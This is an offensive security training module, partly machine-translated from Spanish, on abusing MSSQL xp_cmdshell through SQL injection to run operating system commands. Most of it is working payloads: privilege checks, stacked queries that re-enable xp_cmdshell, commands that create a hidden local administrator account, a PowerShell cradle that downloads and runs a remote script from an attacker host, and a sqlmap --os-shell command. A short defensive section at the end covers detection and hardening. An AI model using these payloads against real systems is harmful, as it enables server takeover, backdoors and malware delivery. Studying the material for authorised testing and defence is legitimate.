📕 FIELD MANUAL 7.2: SYSTEM COMMAND EXECUTION (MSSQL XP_CMDSHELL)
Objective: We will execute operating system commands (RCE) by abusing extended stored procedures in Microsoft SQL Server.
Classification: RED TEAM EYES ONLY
Objective: We will execute operating system commands (RCE) by abusing extended stored procedures in Microsoft SQL Server.
Targets: Windows Corporate Environments, Active Directory.
MITRE ATT&CK: T1059.003 (Windows Command Shell), T1059.001 (PowerShell), T1505.003.
1. INTEL & RECON: MICROSOFT'S RED BUTTON
Sección titulada «1. INTEL & RECON: EL BOTÓN ROJO DE MICROSOFT»What is xp_cmdshell?
Sección titulada «¿Qué es xp_cmdshell?»It is an Extended Stored Procedure that spawns a Windows command shell (cmd.exe) and returns the output as text rows in the database.
The Default State
Sección titulada «El Estado por Defecto»For security reasons, Microsoft disables xp_cmdshell by default in modern installations (since SQL Server 2005). However, if we compromise the sa user (System Administrator) or a user with ALTER SETTINGS permissions, we can reactivate it ourselves.
Privilege Verification
Sección titulada «Verificación de Privilegios»Before attempting to activate it, we will check if we are “god” in the database.
-
Payload (Check User):
' UNION SELECT 1, user_name(), 3, 4 --(If it returns
dboorsa, we're good). -
Payload (Check Admin Role):
' AND (SELECT is_srvrolemember('sysadmin')) = 1 --(If the page loads normally (True), we are sysadmin).
2. WEAPONIZATION: REACTIVATION AND EXECUTION
Sección titulada «2. WEAPONIZATION: REACTIVACIÓN Y EJECUCIÓN»For this, we will almost always need Stacked Queries (Module 3.3), as they are several sequential commands.
Step 1: Enable Advanced Options
Sección titulada «Paso 1: Habilitar Opciones Avanzadas»First, we must tell the server to show us the hidden options.
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; --Step 2: Enable xp_cmdshell
Sección titulada «Paso 2: Habilitar xp_cmdshell»Now we will activate the shell.
'; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; --Step 3: Command Execution (RCE)
Sección titulada «Paso 3: Ejecución de Comandos (RCE)»Now we are the console.
Proof of Concept (Ping): We will send a ping to our server to verify outbound traffic (ICMP).
'; EXEC xp_cmdshell 'ping -n 3 10.10.10.10'; --User Creation (Local Backdoor):
'; EXEC xp_cmdshell 'net user RedTeam Password123! /add'; EXEC xp_cmdshell 'net localgroup Administrators RedTeam /add'; --Effect: We will have created a local administrator on the Windows server. Now we can connect via RDP or SMB.
3. ESCALATION: FROM CMD TO POWERSHELL (COBALT STRIKE / METASPLOIT)
Sección titulada «3. ESCALADA: DE CMD A POWERSHELL (COBALT STRIKE / METASPLOIT)»The cmd.exe is limited. We want a robust interactive session or a Beacon. We will use PowerShell to download and execute our implant in memory (Fileless Malware).
Payload: PowerShell Download Cradles
Sección titulada «Payload: PowerShell Download Cradles»'; EXEC xp_cmdshell 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(''[http://atacante.com/payload.ps1](http://atacante.com/payload.ps1)'')"'; --- Note: Be careful with quotes. In SQL, to put a quote inside a string, we sometimes have to duplicate it (
'') or use encoding.
4. AUTOMATION: SQLMAP PWNAGE
Sección titulada «4. AUTOMATION: SQLMAP PWNAGE»SQLMap will automate the entire process of: detecting MSSQL, verifying if it is a DBA, enabling xp_cmdshell, and giving us a shell.
Command:
sqlmap -u "[http://target.com/vuln.aspx?id=1](http://target.com/vuln.aspx?id=1)" --os-shell- If
xp_cmdshellfails, SQLMap will automatically try other techniques (such asxp_oacreate, which uses OLE objects to invokewscript.shell).
5. PURPLE TEAM VIEW (DEFENSE)
Sección titulada «5. VISIÓN DEL EQUIPO PURPLE (DEFENSA)»🕵️ Detection
Sección titulada «🕵️ Detección»- Event ID 15281 (SQL Server): This event is triggered specifically when we execute
xp_cmdshell. It is the “smoking gun”.- Log:
La opción de configuración 'xp_cmdshell' ha cambiado de 0 a 1.
- Log:
- Child Processes (EDR): We will detect
sqlservr.exe(the database process) startingcmd.exeorpowershell.exeas a child process. This is a high-fidelity anomalous behavior. - Service Users: If the SQL Server service runs as
NT AUTHORITY\SYSTEM(a common bad practice), the attacker will have full control of the OS.
🛡️ Mitigation
Sección titulada «🛡️ Mitigación»- Principle of Least Privilege (Service Account): We will run the SQL Server service with a low-privileged domain account (Managed Service Account), NOT as SYSTEM or Administrator. This way, even if we execute
xp_cmdshell, we will not be able to touch the system. - Separation of Duties: The web application must not connect to the DB as user
sa. If it connects as a restricted user, the attacker will not have permissions to executesp_configureand reactivate the shell. - Hardening: We will keep
xp_cmdshelldisabled and monitor any attempt to change the configuration.
Status: Module 7.2 Completed. Mission: We will understand the severity of running database services as Administrator.

